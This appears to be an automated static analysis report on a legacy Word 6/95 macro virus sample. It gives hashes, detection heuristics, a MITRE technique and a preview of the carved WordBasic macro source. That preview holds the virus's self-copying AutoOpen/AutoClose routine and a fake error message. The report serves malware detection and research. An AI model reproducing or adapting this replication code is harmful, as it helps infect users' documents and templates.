Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b0e5be40b90fc94…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: dbb51fe32ab0df01b798b69152b05848 SHA-1: f7dd35ed18e74e5ca33a6d73fb4b7189e922cfe5 SHA-256: 3b0e5be40b90fc949c99690369e2fe7c75be69e10b946f76d862c82c0c35a389
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers and the presence of WordBasic macro virus indicators. The document body, while containing unusual text and file paths, reinforces the presence of these legacy markers and suggests an attempt to obfuscate the malicious nature of the file. The ClamAV detection further confirms its malicious classification.

Heuristics 3

  • ClamAV: Win.Trojan.Kann-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Kann-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 471 bytes
SHA-256: a3b4c15cb88ad90a2f4c3185620327ce943741623be796dbb54ec479b777b59e
Preview script
First 1,000 lines of the extracted script
29551
MAIN
@cmd00d1 = 0
m$ = @cmd8025 = ":AutoClose"
@cmd80c2 "Global:AutoClose" , m$
m$ = @cmd8025 = ":AUTOOPEN"
@cmd80c2 "Global:AO" , m$
m$ = @cmd8025 = ":AO"
@cmd80c2 "Global:AUTOOPEN" , m$
n$ = @cmd8025
@cmd0054 = n$ , = 1
MAIN
@cmd00d1 = 0
m$ = @cmd8025 = ":AutoClose"
@cmd80c2 m$ , "Global:AutoClose"
m$ = @cmd8025 = ":AO"
@cmd80c2 m$ , "Global:AUTOOPEN"
m$ = @cmd8025 = ":AUTOOPEN"
@cmd80c2 m$ , "Global:AO"
MAIN
@cmd802b         , "Schwerer Ausnahmefehler!" , 21

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